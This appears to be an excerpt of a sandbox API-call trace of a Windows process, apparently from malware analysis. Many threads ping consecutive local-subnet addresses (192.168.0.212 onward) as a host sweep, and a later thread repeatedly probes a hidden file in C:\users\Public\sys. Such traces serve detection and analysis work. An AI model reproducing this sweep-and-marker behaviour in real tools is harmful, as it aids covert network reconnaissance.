	[0227.926] GetLastError () returned 0x57
	[0227.926] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ebdf0
	[0227.926] SetLastError (dwErrCode=0x57) 
	[0227.926] IcmpCreateFile () returned 0x2dadc0
	[0228.308] IcmpSendEcho (in: IcmpHandle=0x2dadc0, DestinationAddress=0xd400a8c0, RequestData=0x19b6fe60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x19b6fe80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x19b6fe80) returned 0x1
	[0232.216] IcmpCloseHandle (IcmpHandle=0x2dadc0) returned 1
	[0232.217] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ebdf0 | out: hHeap=0x230000) returned 1

Thread:
	id = 1049
	os_tid = 0x1688

	[0227.927] GetLastError () returned 0x57
	[0227.927] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ec1c0
	[0227.927] SetLastError (dwErrCode=0x57) 
	[0227.927] IcmpCreateFile () returned 0x2dae10
	[0228.309] IcmpSendEcho (in: IcmpHandle=0x2dae10, DestinationAddress=0xd500a8c0, RequestData=0x19c7f8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x19c7f900, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x19c7f900) returned 0x1
	[0232.211] IcmpCloseHandle (IcmpHandle=0x2dae10) returned 1
	[0232.212] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ec1c0 | out: hHeap=0x230000) returned 1

Thread:
	id = 1050
	os_tid = 0x168c

	[0227.928] GetLastError () returned 0x57
	[0227.928] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ec590
	[0227.928] SetLastError (dwErrCode=0x57) 
	[0227.928] IcmpCreateFile () returned 0x2dae60
	[0228.310] IcmpSendEcho (in: IcmpHandle=0x2dae60, DestinationAddress=0xd600a8c0, RequestData=0x198dfea0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x198dfec0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x198dfec0) returned 0x1
	[0232.084] IcmpCloseHandle (IcmpHandle=0x2dae60) returned 1
	[0232.084] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ec590 | out: hHeap=0x230000) returned 1

Thread:
	id = 1051
	os_tid = 0x1690

	[0227.929] GetLastError () returned 0x57
	[0227.929] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ec960
	[0227.929] SetLastError (dwErrCode=0x57) 
	[0227.929] IcmpCreateFile () returned 0x2daeb0
	[0228.311] IcmpSendEcho (in: IcmpHandle=0x2daeb0, DestinationAddress=0xd700a8c0, RequestData=0x19e8f7a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x19e8f7c0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x19e8f7c0) returned 0x1
	[0231.711] IcmpCloseHandle (IcmpHandle=0x2daeb0) returned 1
	[0231.711] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ec960 | out: hHeap=0x230000) returned 1

Thread:
	id = 1052
	os_tid = 0x1694

	[0227.990] GetLastError () returned 0x57
	[0227.990] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ecd30
	[0227.991] SetLastError (dwErrCode=0x57) 
	[0227.991] IcmpCreateFile () returned 0x2daf00
	[0228.312] IcmpSendEcho (in: IcmpHandle=0x2daf00, DestinationAddress=0xd800a8c0, RequestData=0x19fbfda0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x19fbfdc0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x19fbfdc0) returned 0x1
	[0231.370] IcmpCloseHandle (IcmpHandle=0x2daf00) returned 1
	[0231.370] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ecd30 | out: hHeap=0x230000) returned 1

Thread:
	id = 1056
	os_tid = 0x16a4

	[0227.991] GetLastError () returned 0x57
	[0227.991] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ed100
	[0227.992] SetLastError (dwErrCode=0x57) 
	[0227.992] IcmpCreateFile () returned 0x2daf50
	[0228.313] IcmpSendEcho (in: IcmpHandle=0x2daf50, DestinationAddress=0xd900a8c0, RequestData=0x19d8fa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x19d8faa0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x19d8faa0) returned 0x1
	[0231.017] IcmpCloseHandle (IcmpHandle=0x2daf50) returned 1
	[0231.018] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ed100 | out: hHeap=0x230000) returned 1

Thread:
	id = 1057
	os_tid = 0x16a8

	[0227.993] GetLastError () returned 0x57
	[0227.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ed4d0
	[0227.994] SetLastError (dwErrCode=0x57) 
	[0227.994] IcmpCreateFile () returned 0x2dafa0
	[0228.314] IcmpSendEcho (in: IcmpHandle=0x2dafa0, DestinationAddress=0xda00a8c0, RequestData=0x1a1cfbe0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a1cfc00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1a1cfc00) returned 0x1
	[0230.894] IcmpCloseHandle (IcmpHandle=0x2dafa0) returned 1
	[0230.894] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ed4d0 | out: hHeap=0x230000) returned 1

Thread:
	id = 1058
	os_tid = 0x16ac

	[0227.994] GetLastError () returned 0x57
	[0227.994] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ed8a0
	[0227.995] SetLastError (dwErrCode=0x57) 
	[0227.995] IcmpCreateFile () returned 0x2daff0
	[0228.315] IcmpSendEcho (in: IcmpHandle=0x2daff0, DestinationAddress=0xdb00a8c0, RequestData=0x1a43fe40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a43fe60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1a43fe60) returned 0x1
	[0230.889] IcmpCloseHandle (IcmpHandle=0x2daff0) returned 1
	[0230.889] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ed8a0 | out: hHeap=0x230000) returned 1

Thread:
	id = 1059
	os_tid = 0x16b0

	[0227.995] GetLastError () returned 0x57
	[0227.995] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2edc70
	[0227.995] SetLastError (dwErrCode=0x57) 
	[0227.996] IcmpCreateFile () returned 0x2db040
	[0228.316] IcmpSendEcho (IcmpHandle=0x2db040, DestinationAddress=0xdc00a8c0, RequestData=0x1a5efe40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a5efe60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1060
	os_tid = 0x16b4

	[0227.996] GetLastError () returned 0x57
	[0227.996] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ee040
	[0227.996] SetLastError (dwErrCode=0x57) 
	[0227.996] IcmpCreateFile () returned 0x2db090
	[0228.317] IcmpSendEcho (IcmpHandle=0x2db090, DestinationAddress=0xdd00a8c0, RequestData=0x1a33fd60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a33fd80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1061
	os_tid = 0x16b8

	[0227.997] GetLastError () returned 0x57
	[0227.997] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ee410
	[0227.997] SetLastError (dwErrCode=0x57) 
	[0227.997] IcmpCreateFile () returned 0x2db0e0
	[0228.318] IcmpSendEcho (IcmpHandle=0x2db0e0, DestinationAddress=0xde00a8c0, RequestData=0x1a7dfc00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a7dfc20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1062
	os_tid = 0x16bc

	[0227.998] GetLastError () returned 0x57
	[0227.998] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ee7e0
	[0227.998] SetLastError (dwErrCode=0x57) 
	[0227.998] IcmpCreateFile () returned 0x2db130
	[0228.321] IcmpSendEcho (IcmpHandle=0x2db130, DestinationAddress=0xdf00a8c0, RequestData=0x1a9cfa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a9cfaa0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1063
	os_tid = 0x16c0

	[0227.999] GetLastError () returned 0x57
	[0227.999] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2eebb0
	[0227.999] SetLastError (dwErrCode=0x57) 
	[0227.999] IcmpCreateFile () returned 0x2db180
	[0228.322] IcmpSendEcho (IcmpHandle=0x2db180, DestinationAddress=0xe000a8c0, RequestData=0x1ab5f900, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1ab5f920, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1064
	os_tid = 0x16c4

	[0228.001] GetLastError () returned 0x57
	[0228.001] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2f7a80
	[0228.004] SetLastError (dwErrCode=0x57) 
	[0228.004] IcmpCreateFile () returned 0x2db1d0
	[0228.323] IcmpSendEcho (IcmpHandle=0x2db1d0, DestinationAddress=0xe100a8c0, RequestData=0x1968f800, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1968f820, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1065
	os_tid = 0x16c8

	[0228.004] GetLastError () returned 0x57
	[0228.005] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2f7e50
	[0228.005] SetLastError (dwErrCode=0x57) 
	[0228.005] IcmpCreateFile () returned 0x2fba80
	[0228.324] IcmpSendEcho (IcmpHandle=0x2fba80, DestinationAddress=0xe200a8c0, RequestData=0x1addfc60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1addfc80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1066
	os_tid = 0x16cc

	[0228.006] GetLastError () returned 0x57
	[0228.007] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2f8220
	[0228.007] SetLastError (dwErrCode=0x57) 
	[0228.007] IcmpCreateFile () returned 0x2fbad0
	[0228.325] IcmpSendEcho (IcmpHandle=0x2fbad0, DestinationAddress=0xe300a8c0, RequestData=0x1ac5f7e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1ac5f800, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1067
	os_tid = 0x16d0

	[0228.007] GetLastError () returned 0x57
	[0228.008] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2f85f0
	[0228.008] SetLastError (dwErrCode=0x57) 
	[0228.008] IcmpCreateFile () returned 0x2fbb20
	[0228.326] IcmpSendEcho (IcmpHandle=0x2fbb20, DestinationAddress=0xe400a8c0, RequestData=0x1b05fb60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b05fb80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1068
	os_tid = 0x16d4

	[0228.008] GetLastError () returned 0x57
	[0228.009] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2f89c0
	[0228.009] SetLastError (dwErrCode=0x57) 
	[0228.009] IcmpCreateFile () returned 0x2fbb70
	[0228.327] IcmpSendEcho (IcmpHandle=0x2fbb70, DestinationAddress=0xe500a8c0, RequestData=0x1b1efa40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b1efa60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1069
	os_tid = 0x16d8

	[0228.009] GetLastError () returned 0x57
	[0228.009] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2f8d90
	[0228.010] SetLastError (dwErrCode=0x57) 
	[0228.010] IcmpCreateFile () returned 0x2fbbc0
	[0228.328] IcmpSendEcho (IcmpHandle=0x2fbbc0, DestinationAddress=0xe600a8c0, RequestData=0x1b37fb60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b37fb80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1070
	os_tid = 0x16dc

	[0228.010] GetLastError () returned 0x57
	[0228.010] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2f9160
	[0228.010] SetLastError (dwErrCode=0x57) 
	[0228.011] IcmpCreateFile () returned 0x2fbc10
	[0228.329] IcmpSendEcho (IcmpHandle=0x2fbc10, DestinationAddress=0xe700a8c0, RequestData=0x1af5fa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1af5faa0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1071
	os_tid = 0x16e0

	[0228.011] GetLastError () returned 0x57
	[0228.011] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2f9530
	[0228.011] SetLastError (dwErrCode=0x57) 
	[0228.011] IcmpCreateFile () returned 0x2fbc60
	[0228.330] IcmpSendEcho (IcmpHandle=0x2fbc60, DestinationAddress=0xe800a8c0, RequestData=0x1b63f7a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b63f7c0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1072
	os_tid = 0x16e4

	[0228.012] GetLastError () returned 0x57
	[0228.012] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2f9900
	[0228.012] SetLastError (dwErrCode=0x57) 
	[0228.013] IcmpCreateFile () returned 0x2fbcb0
	[0228.331] IcmpSendEcho (IcmpHandle=0x2fbcb0, DestinationAddress=0xe900a8c0, RequestData=0x1b4bfc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b4bfc40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1073
	os_tid = 0x16e8

	[0228.013] GetLastError () returned 0x57
	[0228.013] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2f9cd0
	[0228.013] SetLastError (dwErrCode=0x57) 
	[0228.013] IcmpCreateFile () returned 0x2fbd00
	[0228.332] IcmpSendEcho (IcmpHandle=0x2fbd00, DestinationAddress=0xea00a8c0, RequestData=0x1b77fbe0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b77fc00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1074
	os_tid = 0x16ec

	[0228.014] GetLastError () returned 0x57
	[0228.014] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2fa0a0
	[0228.014] SetLastError (dwErrCode=0x57) 
	[0228.014] IcmpCreateFile () returned 0x2fbd50
	[0228.334] IcmpSendEcho (IcmpHandle=0x2fbd50, DestinationAddress=0xeb00a8c0, RequestData=0x1b95f960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b95f980, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1075
	os_tid = 0x16f0

	[0228.015] GetLastError () returned 0x57
	[0228.015] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2fa470
	[0228.015] SetLastError (dwErrCode=0x57) 
	[0228.015] IcmpCreateFile () returned 0x2fbda0
	[0228.335] IcmpSendEcho (IcmpHandle=0x2fbda0, DestinationAddress=0xec00a8c0, RequestData=0x1ba9fbe0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1ba9fc00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1076
	os_tid = 0x16f4

	[0228.372] GetLastError () returned 0x57
	[0228.372] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2fa840
	[0228.373] SetLastError (dwErrCode=0x57) 
	[0228.373] IcmpCreateFile () returned 0x304280
	[0228.373] IcmpSendEcho (IcmpHandle=0x304280, DestinationAddress=0xed00a8c0, RequestData=0x1bb9f9e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1bb9fa00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1077
	os_tid = 0x16f8

	[0228.376] GetLastError () returned 0x57
	[0228.376] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2fac10
	[0228.376] SetLastError (dwErrCode=0x57) 
	[0228.376] IcmpCreateFile () returned 0x305380
	[0228.376] IcmpSendEcho (IcmpHandle=0x305380, DestinationAddress=0xee00a8c0, RequestData=0x1be1fca0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1be1fcc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1078
	os_tid = 0x16fc

	[0228.377] GetLastError () returned 0x57
	[0228.378] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2fafe0
	[0228.378] SetLastError (dwErrCode=0x57) 
	[0228.378] IcmpCreateFile () returned 0x305420
	[0228.378] IcmpSendEcho (IcmpHandle=0x305420, DestinationAddress=0xef00a8c0, RequestData=0x1a0bfaa0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a0bfac0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1079
	os_tid = 0x1700

	[0228.379] GetLastError () returned 0x57
	[0228.380] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2fb3b0
	[0228.380] SetLastError (dwErrCode=0x57) 
	[0228.380] IcmpCreateFile () returned 0x3054c0
	[0228.380] IcmpSendEcho (IcmpHandle=0x3054c0, DestinationAddress=0xf000a8c0, RequestData=0x1bd1fcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1bd1fce0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1080
	os_tid = 0x1704

	[0228.381] GetLastError () returned 0x57
	[0228.381] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x306330
	[0228.383] SetLastError (dwErrCode=0x57) 
	[0228.383] IcmpCreateFile () returned 0x305560
	[0228.383] IcmpSendEcho (IcmpHandle=0x305560, DestinationAddress=0xf100a8c0, RequestData=0x1bf7f7a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1bf7f7c0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1081
	os_tid = 0x1708

	[0228.385] GetLastError () returned 0x57
	[0228.385] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x306700
	[0228.385] SetLastError (dwErrCode=0x57) 
	[0228.386] IcmpCreateFile () returned 0x305600
	[0228.386] IcmpSendEcho (IcmpHandle=0x305600, DestinationAddress=0xf200a8c0, RequestData=0x1c1bf720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c1bf740, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1082
	os_tid = 0x170c

	[0228.387] GetLastError () returned 0x57
	[0228.387] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x306ad0
	[0228.387] SetLastError (dwErrCode=0x57) 
	[0228.387] IcmpCreateFile () returned 0x3056a0
	[0228.387] IcmpSendEcho (IcmpHandle=0x3056a0, DestinationAddress=0xf300a8c0, RequestData=0x1c3ef700, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c3ef720, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1083
	os_tid = 0x1710

	[0228.389] GetLastError () returned 0x57
	[0228.389] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x306ea0
	[0228.389] SetLastError (dwErrCode=0x57) 
	[0228.389] IcmpCreateFile () returned 0x305740
	[0228.389] IcmpSendEcho (IcmpHandle=0x305740, DestinationAddress=0xf400a8c0, RequestData=0x1c53fba0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c53fbc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1084
	os_tid = 0x1714

	[0228.390] GetLastError () returned 0x57
	[0228.390] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x307270
	[0228.391] SetLastError (dwErrCode=0x57) 
	[0228.391] IcmpCreateFile () returned 0x3057e0
	[0228.391] IcmpSendEcho (IcmpHandle=0x3057e0, DestinationAddress=0xf500a8c0, RequestData=0x1c76fdc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c76fde0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1085
	os_tid = 0x1718

	[0228.393] GetLastError () returned 0x57
	[0228.393] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x307640
	[0228.393] SetLastError (dwErrCode=0x57) 
	[0228.393] IcmpCreateFile () returned 0x305880
	[0228.393] IcmpSendEcho (IcmpHandle=0x305880, DestinationAddress=0xf600a8c0, RequestData=0x1c93f720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c93f740, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1086
	os_tid = 0x171c

	[0228.395] GetLastError () returned 0x57
	[0228.395] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x307a10
	[0228.396] SetLastError (dwErrCode=0x57) 
	[0228.396] IcmpCreateFile () returned 0x305920
	[0228.396] IcmpSendEcho (IcmpHandle=0x305920, DestinationAddress=0xf700a8c0, RequestData=0x1c09fc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c09fc40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1087
	os_tid = 0x1720

	[0228.397] GetLastError () returned 0x57
	[0228.397] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x307de0
	[0228.397] SetLastError (dwErrCode=0x57) 
	[0228.397] IcmpCreateFile () returned 0x3059c0
	[0228.397] IcmpSendEcho (IcmpHandle=0x3059c0, DestinationAddress=0xf800a8c0, RequestData=0x1ca3fc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1ca3fc40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1088
	os_tid = 0x1724

	[0228.399] GetLastError () returned 0x57
	[0228.399] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x3081b0
	[0228.399] SetLastError (dwErrCode=0x57) 
	[0228.399] IcmpCreateFile () returned 0x305a60
	[0228.399] IcmpSendEcho (IcmpHandle=0x305a60, DestinationAddress=0xf900a8c0, RequestData=0x1cbbfec0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1cbbfee0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1089
	os_tid = 0x1728

	[0228.401] GetLastError () returned 0x57
	[0228.401] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x308580
	[0228.401] SetLastError (dwErrCode=0x57) 
	[0228.401] IcmpCreateFile () returned 0x305b00
	[0228.401] IcmpSendEcho (IcmpHandle=0x305b00, DestinationAddress=0xfa00a8c0, RequestData=0x1cdffba0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1cdffbc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1090
	os_tid = 0x172c

	[0228.402] GetLastError () returned 0x57
	[0228.403] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x308950
	[0228.403] SetLastError (dwErrCode=0x57) 
	[0228.403] IcmpCreateFile () returned 0x305ba0
	[0228.403] IcmpSendEcho (IcmpHandle=0x305ba0, DestinationAddress=0xfb00a8c0, RequestData=0x1ccdf960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1ccdf980, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1091
	os_tid = 0x1730

	[0228.404] GetLastError () returned 0x57
	[0228.404] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x308d20
	[0228.405] SetLastError (dwErrCode=0x57) 
	[0228.405] IcmpCreateFile () returned 0x305c40
	[0228.405] IcmpSendEcho (IcmpHandle=0x305c40, DestinationAddress=0xfc00a8c0, RequestData=0x1c65fce0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c65fd00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1092
	os_tid = 0x1734

	[0228.406] GetLastError () returned 0x57
	[0228.406] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x3090f0
	[0228.406] SetLastError (dwErrCode=0x57) 
	[0228.407] IcmpCreateFile () returned 0x305ce0
	[0228.407] IcmpSendEcho (IcmpHandle=0x305ce0, DestinationAddress=0xfd00a8c0, RequestData=0x1c2bfac0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c2bfae0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1093
	os_tid = 0x1738

	[0228.408] GetLastError () returned 0x57
	[0228.408] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x3094c0
	[0228.408] SetLastError (dwErrCode=0x57) 
	[0228.408] IcmpCreateFile () returned 0x305d80
	[0228.408] IcmpSendEcho (IcmpHandle=0x305d80, DestinationAddress=0xfe00a8c0, RequestData=0x1d0bf920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1d0bf940, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1646
	os_tid = 0x1fc0

	[0236.055] GetVersionExW (in: lpVersionInformation=0x16c4fda0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x16c4fda0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0236.062] GetWindowsDirectoryW (in: lpBuffer=0x16c4fe50, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0236.223] SetLastError (dwErrCode=0x0) 
	[0236.223] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.223] GetLastError () returned 0x20
	[0236.223] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.223] Sleep (dwMilliseconds=0x1388) 
	[0241.373] Sleep (dwMilliseconds=0x61a8) 
	[0251.638] GetWindowsDirectoryW (in: lpBuffer=0x16c4fe50, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0251.638] SetLastError (dwErrCode=0x0) 
	[0251.639] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.639] GetLastError () returned 0x20
	[0251.639] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.639] Sleep (dwMilliseconds=0x61a8) 
	[0261.912] GetWindowsDirectoryW (in: lpBuffer=0x16c4fe50, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0261.918] SetLastError (dwErrCode=0x0) 
	[0261.918] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.919] GetLastError () returned 0x20
	[0261.919] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.919] Sleep (dwMilliseconds=0x61a8) 
	[0273.844] GetWindowsDirectoryW (in: lpBuffer=0x16c4fe50, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0273.844] SetLastError (dwErrCode=0x0) 
	[0273.844] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.844] GetLastError () returned 0x20
	[0273.844] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0273.844] Sleep (dwMilliseconds=0x61a8) 
	[0284.195] GetWindowsDirectoryW (in: lpBuffer=0x16c4fe50, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0284.195] SetLastError (dwErrCode=0x0) 
	[0284.195] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.196] GetLastError () returned 0x20
